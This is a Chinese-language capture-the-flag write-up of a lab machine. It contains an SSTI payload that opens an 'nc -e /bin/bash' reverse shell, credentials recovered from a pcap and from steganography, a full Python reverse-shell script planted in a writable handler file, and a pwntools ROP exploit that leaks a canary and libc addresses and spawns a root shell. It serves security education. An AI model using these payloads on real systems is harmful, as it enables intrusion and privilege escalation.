Terrier Cyber Quest 2025 — 简要解题报告
初始访问
运行nmap扫描:
sudo nmap -sC 192.168.57.24 -A -v -p-
在5000端口发现运行着web服务器。
使用ffuf进行目录和端点模糊测试:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806
访问发现的页面并测试SSTI(服务器端模板注入),确认存在漏洞。
输入通用payload测试SSTI:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}
获得第一个flag:FLAG -> S3Cur1ty_Br3@k_P@55ed
在根目录发现可疑目录,找到包含下一个挑战提示的笔记。
根据提示,调查pcapng文件并复制所有ICMP数据。
使用Wireshark调查"pcapng"文件获取更多信息。
通过十六进制解码,获得以下编码文本:
22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4
最后使用CyberChef解码得到:Pass:H1dden_W0rlD_UnD3r_Bit
还发现Container.png文件并导出。
使用OpenStego工具获得flower用户的凭据:F!ow3r#92@tY8&Vk
观察发现除了root外还有更多用户:cat /etc/passwd
权限提升 — 第一阶段
使用ssh获取flower用户的shell。
在侦察过程中发现名为handler的目录,可以清楚看到不同用户的不同权限。
检查运行进程时,看到daemon.py在/handler目录中作为leaf用户运行。
进一步调查daemon.py,发现它将handler.py从/handler复制到/tmp/目录作为leaf用户,然后作为leaf用户执行。还注意到我对/handler/handler.py文件具有rw权限,因此修改了它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
#!/usr/bin/env python3
import socket, os, pty, sys, time, traceback
HOST = "127.0.0.1"
PORT = 6969
CONNECT_TIMEOUT = 6.0
def main():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(CONNECT_TIMEOUT)
s.connect((HOST, PORT))
s.settimeout(None)
try:
s.sendall(b"handler: connected - spawning PTY shell\n")
except Exception:
pass
except Exception as e:
time.sleep(0.2)
return
fd = s.fileno()
os.dup2(fd, 0)
os.dup2(fd, 1)
os.dup2(fd, 2)
try:
pty.spawn("/bin/sh")
except Exception:
try:
os.execv("/bin/sh", ["/bin/sh", "-i"])
except Exception:
try:
s.close()
except Exception:
pass
if __name__ == "__main__":
try:
main()
except Exception:
traceback.print_exc()
time.sleep(0.2)
|
通过执行nc -nvlp 8080
触发daemon.py将handler.py复制到/tmp/handler_exec.py作为leaf用户,使其尝试建立连接。
成功获取leaf用户权限。
获得第三个flag:FLAG -> Y0u_kn0w_i5_th15_RaC3
权限提升 — 第二阶段
从侦察中还发现/bin/包含一个作为stem用户运行的二进制文件,leaf用户被允许执行它。
获取此challenge文件并调查。很可能是一个pwn挑战。
使用反编译器,看起来像是一个ret2win挑战。
从反编译代码中看到需要输入的用户名是john。
然后有一个password_check()函数,它确保关于字符串的一些约束,存在多个满足条件的字符串作为密码。
另外注意到Partial RELRO只是将GOT移动到程序变量之上,意味着不能溢出到GOT,但它是可写的,并且不是位置无关的可执行文件。
还注意到使用Index和Name可以任意覆盖内存(不完全是),但在我们的情况下可以覆盖GOT表条目到win()函数。
在这里,我们能够用win()函数覆盖exit@got[plt]条目,从而作为stem用户弹出shell。
获得stem用户权限。
因此获得第四个flag:FLAG -> PwN_2_0wN_N0w_Y0u_ar3_5t3M
权限提升 — 第三阶段
进行侦察时发现另一个名为final的二进制文件。
检查二进制文件时,发现格式字符串漏洞,可用于泄漏libc、二进制文件和栈canary的内存地址。
通过调试和试错,发现在以下位置可以获得__libc_start_call_main()、栈canary和main()的地址。
以下函数存在栈缓冲区溢出漏洞:sub_401223()
尽管此./final挑战开启了所有保护,但这并不重要,因为我们能够泄漏栈,然后执行面向返回的编程来调用libc函数。
以下是我的利用代码来攻破./final挑战:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
from pwn import *
p = process("/bin/final")
p.sendline(b"%43$p-%61$p-%64$p")
leak = p.clean().split(b'Your Name:\n')[1].split(b'\n\n')[0].split(b'-')
canary = int(leak[1].decode(), 16)
main_addr = int(leak[2].decode(), 16)
libc_start_call_main = int(leak[0].decode(), 16) - 120 #__libc_start_call_main
libc_start_main = libc_start_call_main + 0xae # __libc_start_main
libc_base_addr = libc_start_main - 0x2a200 # 0x2a200 = libc_start_main - offset of __libc_start_main
binsh = libc_base_addr + 0x1cb42f # 0x1cb42f = offset in libc.so.6 for "/bin/sh" string
libc_system = libc_base_addr + 0x58750 # 0x58750 = offset in libc.so.6 for "system()" call
libc_pop_rdi_ret = libc_base_addr + 0x10f75b # pop rdi; ret gadget in libc.so.6
libc_ret = libc_base_addr + 0x10f75c # ret; gadget in libc.so.6
libc_setuid = libc_base_addr + 0x10ea90 # setuid() call in libc.so.6
real_canary = p64(canary)
real_main_addr = p64(main_addr)
real_libc_system = p64(libc_system)
real_binsh = p64(binsh)
real_libc_pop_rdi_ret = p64(libc_pop_rdi_ret)
real_libc_ret = p64(libc_ret)
real_libc_setuid = p64(libc_setuid)
print("[+] Obtained Canary :: {}".format(leak[1]))
print("[+] main() Address :: {}".format(leak[2]))
print("[+] __libc_start_main() Address :: {}".format(hex(libc_start_main)))
print("[+] libc_base_addr Address :: {}".format(hex(libc_base_addr)))
payload = b""
payload += b"A" * 0x48 # buffer
payload += real_canary # canary
payload += b"B" * 0x8 # saved_rbp
payload += real_libc_pop_rdi_ret # pop rdi; ret
payload += p64(0)
payload += real_libc_ret # ret;
payload += real_libc_setuid # setuid(0)
payload += real_libc_pop_rdi_ret # pop rdi; ret
payload += real_binsh # "/bin/sh"
payload += real_libc_ret # ret;
payload += real_libc_system # system()
payload += b"\x90" * 0x8
p.send(payload)
print(p.clean())
p.interactive()
|
运行python3 final_pwn.py脚本,成功获得最终flag:D4Y_0_T0_zeR0_d4Y
后续
感谢阅读这份简要解题报告。如果有心情,我会发布关于二进制利用最后一个挑战的更详细版本。如有任何问题,请告诉我。祝黑客愉快💖。